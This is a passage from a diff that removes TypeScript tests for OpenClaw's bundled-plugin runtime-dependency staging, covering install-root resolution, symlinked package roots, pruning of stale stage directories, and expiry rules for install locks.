calls.push(params); - writeInstalledPackage(params.installRoot, "alpha-runtime", "2.0.0"); - }, - }); - - expect(result).toEqual({ installedSpecs: ["alpha-runtime@2.0.0"] }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["alpha-runtime@2.0.0"], - installSpecs: ["alpha-runtime@2.0.0"], - }, - ]); - }); - - it("reinstalls when the generated runtime-deps manifest is stale", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.27" }), - ); - const pluginRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "memory-lancedb", - deps: { - "@lancedb/lancedb": "^0.27.2", - openai: "^6.34.0", - typebox: "1.1.33", - }, - enabledByDefault: true, - }); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - writeInstalledPackage(installRoot, "@lancedb/lancedb", "0.27.2"); - writeInstalledPackage(installRoot, "openai", "6.34.0"); - writeInstalledPackage(installRoot, "typebox", "1.1.33"); - writeGeneratedRuntimeDepsManifest(installRoot, ["@mariozechner/pi-ai@0.70.5"]); - - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - env, - pluginId: "memory-lancedb", - pluginRoot, - installDeps: (params) => { - calls.push(params); - }, - }); - - expect(result.installedSpecs).toEqual([ - "@lancedb/lancedb@^0.27.2", - "openai@^6.34.0", - "typebox@1.1.33", - ]); - expect(calls).toHaveLength(1); - }); - - it("does not derive a second-generation stage root from external runtime mirrors", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.25" }), - ); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "telegram"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ dependencies: { grammy: "^1.42.0" } }), - ); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - const mirroredPluginRoot = path.join(installRoot, "dist", "extensions", "telegram"); - fs.mkdirSync(mirroredPluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(mirroredPluginRoot, "package.json"), - JSON.stringify({ dependencies: { grammy: "^1.42.0" } }), - ); - writeInstalledPackage(installRoot, "grammy", "1.42.0"); - writeGeneratedRuntimeDepsManifest(installRoot, ["grammy@^1.42.0"]); - - const nestedUnknownRoot = path.join( - stageDir, - `openclaw-unknown-${createHash("sha256").update(path.resolve(installRoot)).digest("hex").slice(0, 12)}`, - ); - - expect(resolveBundledRuntimeDependencyInstallRoot(mirroredPluginRoot, { env })).toBe( - installRoot, - ); - expect(resolveBundledRuntimeDependencyInstallRoot(mirroredPluginRoot, { env })).not.toBe( - nestedUnknownRoot, - ); - expect( - ensureBundledPluginRuntimeDeps({ - env, - installDeps: () => { - throw new Error("mirrored staged deps should not reinstall into a nested stage root"); - }, - pluginId: "telegram", - pluginRoot: mirroredPluginRoot, - }), - ).toEqual({ installedSpecs: [] }); - }); - - it("resolves nested cache pluginRoot to enclosing versioned cache", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.25" }), - ); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "telegram"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ dependencies: { grammy: "^1.42.0" } }), - ); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - - const nestedPluginRoot = path.join( - installRoot, - "dist", - "extensions", - "node_modules", - "openclaw", - "plugin-sdk", - ); - fs.mkdirSync(nestedPluginRoot, { recursive: true }); - - const resolved = resolveBundledRuntimeDependencyInstallRoot(nestedPluginRoot, { env }); - expect(resolved).toBe(installRoot); - expect(path.basename(resolved).startsWith("openclaw-unknown-")).toBe(false); - }); - - const itSupportsPackageRootSymlinks = process.platform === "win32" ? it.skip : it; - itSupportsPackageRootSymlinks( - "stages bundled runtime deps to the same root for symlinked packageRoot views (issue #74963)", - () => { - const realParent = makeTempDir(); - const stageDir = makeTempDir(); - const realPackageRoot = path.join(realParent, "openclaw-real"); - fs.mkdirSync(realPackageRoot, { recursive: true }); - fs.writeFileSync( - path.join(realPackageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.27" }), - ); - const realPluginRoot = path.join(realPackageRoot, "dist", "extensions", "discord"); - fs.mkdirSync(realPluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(realPluginRoot, "package.json"), - JSON.stringify({ dependencies: {} }), - ); - const linkedPackageRoot = path.join(realParent, "openclaw-linked"); - fs.symlinkSync(realPackageRoot, linkedPackageRoot, "dir"); - const linkedPluginRoot = path.join(linkedPackageRoot, "dist", "extensions", "discord"); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - - const installRootViaReal = resolveBundledRuntimeDependencyInstallRoot(realPluginRoot, { - env, - }); - const installRootViaLink = resolveBundledRuntimeDependencyInstallRoot(linkedPluginRoot, { - env, - }); - - expect(installRootViaLink).toBe(installRootViaReal); - expect(path.basename(installRootViaReal)).toMatch(/^openclaw-2026\.4\.27-[0-9a-f]{12}$/); - }, - ); - - it("prunes stale unknown and legacy versioned external runtime roots", () => { - const stageDir = makeTempDir(); - const nowMs = Date.parse("2026-04-29T08:00:00.000Z"); - const makeRoot = (name: string, ageMs: number, locked = false) => { - const root = path.join(stageDir, name); - fs.mkdirSync(root, { recursive: true }); - fs.writeFileSync(path.join(root, "marker"), "ok\n"); - if (locked) { - const lockDir = path.join(root, ".openclaw-runtime-deps.lock"); - fs.mkdirSync(lockDir, { recursive: true }); - fs.writeFileSync( - path.join(lockDir, "owner.json"), - JSON.stringify({ pid: process.pid, createdAtMs: nowMs }), - ); - } - const mtime = new Date(nowMs - ageMs); - fs.utimesSync(root, mtime, mtime); - return root; - }; - const newest = makeRoot("openclaw-unknown-newest", 1_000); - const stale = makeRoot("openclaw-unknown-stale", 120_000); - const locked = makeRoot("openclaw-unknown-locked", 120_000, true); - const legacyVersioned = makeRoot("openclaw-2026.4.25-discord", 1_000); - const lockedLegacyVersioned = makeRoot("openclaw-2026.4.25-telegram", 1_000, true); - const modernVersioned = makeRoot("openclaw-2026.4.25-abcdef123456", 120_000); - - const result = pruneUnknownBundledRuntimeDepsRoots({ - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - nowMs, - maxRootsToKeep: 1, - minAgeMs: 60_000, - }); - - expect(result).toEqual({ scanned: 5, removed: 2, skippedLocked: 2 }); - expect(fs.existsSync(newest)).toBe(true); - expect(fs.existsSync(stale)).toBe(false); - expect(fs.existsSync(locked)).toBe(true); - expect(fs.existsSync(legacyVersioned)).toBe(false); - expect(fs.existsSync(lockedLegacyVersioned)).toBe(true); - expect(fs.existsSync(modernVersioned)).toBe(true); - }); - - it("uses the plugin-local stage for source-checkout runtime deps", () => { - const packageRoot = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.25" }), - ); - fs.writeFileSync(path.join(packageRoot, "pnpm-workspace.yaml"), "packages: []\n"); - fs.mkdirSync(path.join(packageRoot, "src"), { recursive: true }); - fs.mkdirSync(path.join(packageRoot, "extensions"), { recursive: true }); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "voice-call"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ dependencies: { "voice-runtime": "1.0.0" } }), - ); - spawnSyncMock.mockImplementation((_command, _args, options) => { - const cwd = String(options?.cwd); - expect(cwd).toBe(path.join(pluginRoot, ".openclaw-install-stage")); - writeInstalledPackage(cwd, "voice-runtime", "1.0.0"); - return { status: 0, stdout: "", stderr: "" } as ReturnType; - }); - - expect( - ensureBundledPluginRuntimeDeps({ - env: {}, - pluginId: "voice-call", - pluginRoot, - }), - ).toEqual({ - installedSpecs: ["voice-runtime@1.0.0"], - }); - expect(spawnSyncMock).toHaveBeenCalledTimes(1); - expect(fs.lstatSync(path.join(pluginRoot, "node_modules")).isSymbolicLink()).toBe(false); - - fs.rmSync(path.join(pluginRoot, "node_modules"), { recursive: true, force: true }); - spawnSyncMock.mockImplementation((_command, _args, options) => { - writeInstalledPackage(String(options?.cwd), "voice-runtime", "1.0.0"); - return { status: 0, stdout: "", stderr: "" } as ReturnType; - }); - expect( - ensureBundledPluginRuntimeDeps({ - env: {}, - pluginId: "voice-call", - pluginRoot, - }), - ).toEqual({ - installedSpecs: ["voice-runtime@1.0.0"], - }); - expect(fs.lstatSync(path.join(pluginRoot, "node_modules")).isSymbolicLink()).toBe(false); - }); - - it("keeps the complete package-level install plan for configured plugins", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "2026.4.22" }), - ); - const alphaRoot = path.join(packageRoot, "dist", "extensions", "alpha"); - const betaRoot = path.join(packageRoot, "dist", "extensions", "beta"); - fs.mkdirSync(alphaRoot, { recursive: true }); - fs.mkdirSync(betaRoot, { recursive: true }); - fs.writeFileSync( - path.join(alphaRoot, "package.json"), - JSON.stringify({ dependencies: { "alpha-runtime": "1.0.0" } }), - ); - fs.writeFileSync( - path.join(betaRoot, "package.json"), - JSON.stringify({ dependencies: { "beta-runtime": "2.0.0" } }), - ); - - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyInstallRoot(alphaRoot, { env }); - fs.mkdirSync(path.join(installRoot, "node_modules", "alpha-runtime"), { recursive: true }); - fs.writeFileSync( - path.join(installRoot, "node_modules", "alpha-runtime", "package.json"), - JSON.stringify({ name: "alpha-runtime", version: "1.0.0" }), - ); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0"]); - expect(fs.existsSync(path.join(installRoot, ".openclaw-runtime-deps.json"))).toBe(false); - - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - config: { - plugins: { - entries: { - alpha: { enabled: true }, - beta: { enabled: true }, - }, - }, - }, - env, - installDeps: (params) => { - calls.push(params); - }, - pluginId: "beta", - pluginRoot: betaRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["alpha-runtime@1.0.0", "beta-runtime@2.0.0"], - }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["alpha-runtime@1.0.0", "beta-runtime@2.0.0"], - installSpecs: ["alpha-runtime@1.0.0", "beta-runtime@2.0.0"], - }, - ]); - }); - - it("tracks active runtime-deps installs until the installer returns", async () => { - const packageRoot = makeTempDir(); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "browser"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ dependencies: { "browser-runtime": "1.0.0" } }), - ); - - let idleWait: Promise<{ drained: boolean; active: number }> | null = null; - expect(getActiveBundledRuntimeDepsInstallCount()).toBe(0); - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: (params) => { - expect(getActiveBundledRuntimeDepsInstallCount()).toBe(1); - idleWait = waitForBundledRuntimeDepsInstallIdle(); - writeInstalledPackage(params.installRoot, "browser-runtime", "1.0.0"); - }, - pluginId: "browser", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["browser-runtime@1.0.0"], - }); - expect(getActiveBundledRuntimeDepsInstallCount()).toBe(0); - await expect(idleWait).resolves.toEqual({ drained: true, active: 0 }); - }); - - it("keeps async repair locks and activity active until npm staging settles", async () => { - const installRoot = makeTempDir(); - const lockDir = path.join(installRoot, ".openclaw-runtime-deps.lock"); - let releaseInstall!: () => void; - const repair = repairBundledRuntimeDepsInstallRootAsync({ - installRoot, - missingSpecs: ["browser-runtime@1.0.0"], - installSpecs: ["browser-runtime@1.0.0"], - env: {}, - installDeps: async (params) => { - expect(fs.existsSync(lockDir)).toBe(true); - expect(getActiveBundledRuntimeDepsInstallCount()).toBe(1); - await new Promise((resolve) => { - releaseInstall = () => { - writeInstalledPackage(params.installRoot, "browser-runtime", "1.0.0"); - resolve(); - }; - }); - }, - }); - - await Promise.resolve(); - expect(fs.existsSync(lockDir)).toBe(true); - expect(getActiveBundledRuntimeDepsInstallCount()).toBe(1); - - releaseInstall(); - await expect(repair).resolves.toEqual({ installSpecs: ["browser-runtime@1.0.0"] }); - expect(fs.existsSync(lockDir)).toBe(false); - expect(getActiveBundledRuntimeDepsInstallCount()).toBe(0); - }); - - it("does not expire active runtime-deps install locks by age alone", () => { - expect( - shouldRemoveRuntimeDepsLock( - { pid: 123, createdAtMs: 0 }, - Number.MAX_SAFE_INTEGER, - () => true, - ), - ).toBe(false); - }); - - it("expires runtime-deps install locks whose owner PID is dead", () => { - expect( - shouldRemoveRuntimeDepsLock( - // Conventional non-existent PID for dead-process simulation - { pid: 99999, createdAtMs: 0 }, - 1_000, - () => false, - ), - ).toBe(true); - }); - - it("expires runtime-deps install locks whose owner PID is dead regardless of age", () => { - expect( - shouldRemoveRuntimeDepsLock( - // Conventional non-existent PID for dead-process simulation - { pid: 99999, createdAtMs: Date.now() }, - Date.now(), - () => false, - ), - ).toBe(true); - }); - - it("treats a PID-alive lock with matching starttime as held by the same incarnation", () => { - expect( - shouldRemoveRuntimeDepsLock( - { pid: 7, starttime: 1_000, createdAtMs: 2_000 }, - 2_500, - () => true, - // Live PID's starttime matches the lock owner, so this is the same process. - () => 1_000, - ), - ).toBe(false); - }); - - it("expires a PID-alive lock when the live PID's start-time differs (Docker PID reuse)", () => { - // Models the failure mode that motivated this change: inside a container - // the gateway is always PID 1 (or PID 7 with `init: true`), so a stale - // lock from a previous incarnation looks "alive" if we only consult - // isProcessAlive. Capturing the writer's start-time and comparing it to - // the live PID's start-time disambiguates incarnations. - expect( - shouldRemoveRuntimeDepsLock( - { pid: 7, starttime: 1_000, createdAtMs: 2_000 }, - 2_500, - () => true, - // Same PID, but a different incarnation started later. - () => 9_000, - ), - ).toBe(true); - }); - - it("treats a PID-alive lock as fresh when start-time evidence cannot be read", () => { - // Defensive: when getProcessStartTime returns null (legacy lock with no - // starttime, or a platform that does not expose it) we keep the - // pre-existing behavior of trusting isAlive(pid). The only verified - // disambiguation path is start-time evidence on both sides; without it - // we err toward "still held" rather than risk stomping a real install. - expect( - shouldRemoveRuntimeDepsLock( - { pid: 7, starttime: 1_000, createdAtMs: 0 }, - Number.MAX_SAFE_INTEGER, - () => true, - () => null, - ), - ).toBe(false); - }); - - it("expires legacy PID-alive locks without starttime or createdAtMs when lock files are stale", () => { - expect( - shouldRemoveRuntimeDepsLock( - { pid: 1, lockDirMtimeMs: 1_000, ownerFileMtimeMs: 2_000 }, - 602_001, - () => true, - ), - ).toBe(true); - }); - - it("keeps fresh legacy PID-alive locks without starttime or createdAtMs", () => { - expect( - shouldRemoveRuntimeDepsLock( - { pid: 1, lockDirMtimeMs: 1_000, ownerFileMtimeMs: 2_000 }, - 602_000, - () => true, - ), - ).toBe(false); - }); - - it("keeps PID-alive locks with createdAtMs even when mtimes are stale", () => { - expect( - shouldRemoveRuntimeDepsLock( - { pid: 1, createdAtMs: 2_000, lockDirMtimeMs: 1_000, ownerFileMtimeMs: 1_000 }, - Number.MAX_SAFE_INTEGER, - () => true, - ), - ).toBe(false); - }); - - it("does not expire fresh ownerless runtime-deps install locks", () => { - expect(shouldRemoveRuntimeDepsLock({ lockDirMtimeMs: 1_000 }, 31_000, () => true)).toBe(false); - }); - - it("does not expire ownerless runtime-deps install locks when the owner file changed recently", () => { - expect( - shouldRemoveRuntimeDepsLock( - { lockDirMtimeMs: 1_000, ownerFileMtimeMs: 31_000 }, - 61_000, - () => true, - ), - ).toBe(false); - }); - - it("expires ownerless runtime-deps install locks after the owner write grace window", () => { - expect(shouldRemoveRuntimeDepsLock({ lockDirMtimeMs: 1_000 }, 31_001, () => true)).toBe(true); - }); - - it("expires ownerless runtime-deps install locks when lock and owner file are stale", () => { - expect( - shouldRemoveRuntimeDepsLock( - { lockDirMtimeMs: 1_000, ownerFileMtimeMs: 2_000 }, - 32_001, - () => true, - ), - ).toBe(true); - }); - - it("includes runtime-deps lock owner details in timeout messages", () => { - const message = formatRuntimeDepsLockTimeoutMessage({ - lockDir: "/tmp/openclaw-plugin/.openclaw-runtime-deps.lock", - owner: { - pid: 0, - createdAtMs: 1_000, - ownerFileState: "invalid", - ownerFilePath: "/tmp/openclaw-plugin/.openclaw-runtime-deps.lock/owner.json", - ownerFileMtimeMs: 2_500, - ownerFileIsSymlink: true, - lockDirMtimeMs: 2_000, - }, - waitedMs: 300_123, - nowMs: 303_000, - }); - - expect(message).toContain("waited=300123ms"); - expect(message).toContain("ownerFile=invalid"); - expect(message).toContain("ownerFileSymlink=true"); - expect(message).toContain("pid=0 alive=false"); - expect(message).toContain("ownerAge=302000ms"); - expect(message).toContain("ownerFileAge=300500ms"); - expect(message).toContain("lockAge=301000ms"); - expect(message).toContain(".openclaw-runtime-deps.lock/owner.json"); - }); - - it("removes stale runtime-deps install locks before repairing deps", () => { - const packageRoot = makeTempDir(); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "openai"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - "@mariozechner/pi-ai": "0.70.2", - }, - }), - ); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env: {} }); - const lockDir = path.join(installRoot, ".openclaw-runtime-deps.lock"); - fs.mkdirSync(lockDir, { recursive: true }); - fs.writeFileSync(path.join(lockDir, "owner.json"), JSON.stringify({ pid: 0, createdAtMs: 0 })); - - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: (params) => { - calls.push(params); - fs.mkdirSync(path.join(params.installRoot, "node_modules", "@mariozechner", "pi-ai"), { - recursive: true, - }); - fs.writeFileSync( - path.join(params.installRoot, "node_modules", "@mariozechner", "pi-ai", "package.json"), - JSON.stringify({ name: "@mariozechner/pi-ai", version: "0.70.2" }), - ); - }, - pluginId: "openai", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["@mariozechner/pi-ai@0.70.2"], - }); - expect(calls).toHaveLength(1); - expect(fs.existsSync(lockDir)).toBe(false); - }); - - it("removes stale legacy PID-alive runtime-deps install locks before repairing deps", () => { - const packageRoot = makeTempDir(); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "browser"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - "browser-runtime": "1.0.0", - }, - }), - ); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env: {} }); - const lockDir = path.join(installRoot, ".openclaw-runtime-deps.lock"); - fs.mkdirSync(lockDir, { recursive: true }); - const ownerPath = path.join(lockDir, "owner.json"); - fs.writeFileSync(ownerPath, JSON.stringify({ pid: process.pid }), "utf8"); - fs.utimesSync(ownerPath, new Date(0), new Date(0)); - fs.utimesSync(lockDir, new Date(0), new Date(0)); - - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: (params) => { - calls.push(params); - fs.mkdirSync(path.join(params.installRoot, "node_modules", "browser-runtime"), { - recursive: true, - }); - fs.writeFileSync( - path.join(params.installRoot, "node_modules", "browser-runtime", "package.json"), - JSON.stringify({ name: "browser-runtime", version: "1.0.0" }), - ); - }, - pluginId: "browser", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["browser-runtime@1.0.0"], - }); - expect(calls).toHaveLength(1); - expect(fs.existsSync(lockDir)).toBe(false); - }); - - it("removes stale malformed runtime-deps install locks before repairing deps", () => { - const packageRoot = makeTempDir(); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "browser"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - "browser-runtime": "1.0.0", - }, - }), - ); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env: {} }); - const lockDir = path.join(installRoot, ".openclaw-runtime-deps.lock"); - fs.mkdirSync(lockDir, { recursive: true }); - const ownerPath = path.join(lockDir, "owner.json"); - fs.writeFileSync(ownerPath, "{", "utf8"); - fs.utimesSync(ownerPath, new Date(0), new Date(0)); - fs.utimesSync(lockDir, new Date(0), new Date(0)); - - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: (params) => { - calls.push(params); - fs.mkdirSync(path.join(params.installRoot, "node_modules", "browser-runtime"), { - recursive: true, - }); - fs.writeFileSync( - path.join(params.installRoot, "node_modules", "browser-runtime", "package.json"), - JSON.stringify({ name: "browser-runtime", version: "1.0.0" }), - ); - }, - pluginId: "browser", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["browser-runtime@1.0.0"], - }); - expect(calls).toHaveLength(1); - expect(fs.existsSync(lockDir)).toBe(false); - }); - - const itSupportsSymlinks = process.platform === "win32" ? it.skip : it; - itSupportsSymlinks( - "removes stale runtime-deps install locks with broken owner symlinks before repairing deps", - () => { - const packageRoot = makeTempDir(); - const pluginRoot = path.join(packageRoot, "dist-runtime", "extensions", "browser"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - "browser-runtime": "1.0.0", - }, - }), - ); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env: {} }); - const lockDir = path.join(installRoot, ".openclaw-runtime-deps.lock"); - fs.mkdirSync(lockDir, { recursive: true }); - const ownerPath = path.join(lockDir, "owner.json"); - fs.symlinkSync("../missing-owner.json", ownerPath); - fs.lutimesSync(ownerPath, new Date(0), new Date(0)); - fs.utimesSync(lockDir, new Date(0), new Date(0)); - - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: (params) => { - calls.push(params); - fs.mkdirSync(path.join(params.installRoot, "node_modules", "browser-runtime"), { - recursive: true, - }); - fs.writeFileSync( - path.join(params.installRoot, "node_modules", "browser-runtime", "package.json"), - JSON.stringify({ name: "browser-runtime", version: "1.0.0" }), - ); - }, - pluginId: "browser", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["browser-runtime@1.0.0"], - }); - expect(calls).toHaveLength(1); - expect(fs.existsSync(lockDir)).toBe(false); - }, - ); - - it("does not install when runtime deps are only workspace links", () => { - const packageRoot = makeTempDir(); - const extensionsRoot = path.join(packageRoot, "dist", "extensions"); - const pluginRoot = path.join(extensionsRoot, "qa-channel"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - "@openclaw/plugin-sdk": "workspace:*", - openclaw: "workspace:*", - }, - }), - ); - - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: () => { - throw new Error("workspace-only runtime deps should not install"); - }, - pluginId: "qa-channel", - pluginRoot, - }); - - expect(result).toEqual({ installedSpecs: [] }); - }); - - it("installs missing runtime deps for source-checkout bundled plugins", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.mkdirSync(path.join(packageRoot, ".git"), { recursive: true }); - fs.mkdirSync(path.join(packageRoot, "src"), { recursive: true }); - const pluginRoot = path.join(packageRoot, "extensions", "tokenjuice"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - tokenjuice: "0.6.1", - }, - }), - ); - - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - installDeps: (params) => { - calls.push(params); - writeInstalledPackage(params.installRoot, "tokenjuice", "0.6.1"); - }, - pluginId: "tokenjuice", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["tokenjuice@0.6.1"], - }); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["tokenjuice@0.6.1"], - installSpecs: ["tokenjuice@0.6.1"], - }, - ]); - expect(installRoot).toContain(stageDir); - expect(installRoot).not.toBe(pluginRoot); - expect( - fs.existsSync(path.join(installRoot, "node_modules", "tokenjuice", "package.json")), - ).toBe(true); - }); - - it("keeps source-checkout bundled runtime deps in the plugin root without manifest churn", () => { - const packageRoot = makeTempDir(); - fs.mkdirSync(path.join(packageRoot, ".git"), { recursive: true }); - fs.mkdirSync(path.join(packageRoot, "src"), { recursive: true }); - const pluginRoot = path.join(packageRoot, "extensions", "tokenjuice"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, ".openclaw-runtime-deps.json"), - JSON.stringify({ specs: ["stale@9.9.9"] }), - ); - writeGeneratedRuntimeDepsManifest(pluginRoot, ["tokenjuice@0.6.1"]); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - tokenjuice: "0.6.1", - }, - }), - ); - - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: (params) => { - calls.push(params); - }, - pluginId: "tokenjuice", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["tokenjuice@0.6.1"], - }); - expect(calls).toEqual([ - { - installRoot: pluginRoot, - installExecutionRoot: path.join(pluginRoot, ".openclaw-install-stage"), - missingSpecs: ["tokenjuice@0.6.1"], - installSpecs: ["tokenjuice@0.6.1"], - }, - ]); - expect(resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env: {} })).toBe(pluginRoot); - expect(fs.existsSync(path.join(pluginRoot, ".openclaw-runtime-deps.json"))).toBe(false); - }); - - it("removes stale source-checkout manifests even when runtime deps are present", () => { - const packageRoot = makeTempDir(); - fs.mkdirSync(path.join(packageRoot, ".git"), { recursive: true }); - fs.mkdirSync(path.join(packageRoot, "src"), { recursive: true }); - const pluginRoot = path.join(packageRoot, "extensions", "tokenjuice"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - tokenjuice: "0.6.1", - }, - }), - ); - writeInstalledPackage(pluginRoot, "tokenjuice", "0.6.1"); - fs.writeFileSync( - path.join(pluginRoot, ".openclaw-runtime-deps.json"), - JSON.stringify({ specs: ["stale@9.9.9"] }), - ); - writeGeneratedRuntimeDepsManifest(pluginRoot, ["tokenjuice@0.6.1"]); - - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: () => { - throw new Error("present source-checkout runtime deps should not reinstall"); - }, - pluginId: "tokenjuice", - pluginRoot, - }); - - expect(result).toEqual({ installedSpecs: [] }); - expect(fs.existsSync(path.join(pluginRoot, ".openclaw-runtime-deps.json"))).toBe(false); - }); - - it("treats Docker build source trees without .git as source checkouts", () => { - const packageRoot = makeTempDir(); - fs.mkdirSync(path.join(packageRoot, "src"), { recursive: true }); - fs.writeFileSync(path.join(packageRoot, "pnpm-workspace.yaml"), "packages:\n - .\n"); - const pluginRoot = path.join(packageRoot, "extensions", "acpx"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - acpx: "0.5.3", - }, - devDependencies: { - "@openclaw/plugin-sdk": "workspace:*", - }, - }), - ); - - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: (params) => { - calls.push(params); - }, - pluginId: "acpx", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["acpx@0.5.3"], - }); - expect(calls).toEqual([ - { - installRoot: pluginRoot, - installExecutionRoot: path.join(pluginRoot, ".openclaw-install-stage"), - missingSpecs: ["acpx@0.5.3"], - installSpecs: ["acpx@0.5.3"], - }, - ]); - }); - - it("does not trust package-root runtime deps for source-checkout bundled plugins", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.mkdirSync(path.join(packageRoot, ".git"), { recursive: true }); - fs.mkdirSync(path.join(packageRoot, "src"), { recursive: true }); - const pluginRoot = path.join(packageRoot, "extensions", "tokenjuice"); - fs.mkdirSync(path.join(packageRoot, "node_modules", "tokenjuice"), { - recursive: true, - }); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - tokenjuice: "0.6.1", - }, - }), - ); - fs.writeFileSync( - path.join(packageRoot, "node_modules", "tokenjuice", "package.json"), - JSON.stringify({ name: "tokenjuice", version: "0.6.1" }), - ); - const calls: BundledRuntimeDepsInstallParams[] = []; - - const result = ensureBundledPluginRuntimeDeps({ - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - installDeps: (params) => { - calls.push(params); - }, - pluginId: "tokenjuice", - pluginRoot, - }); - - 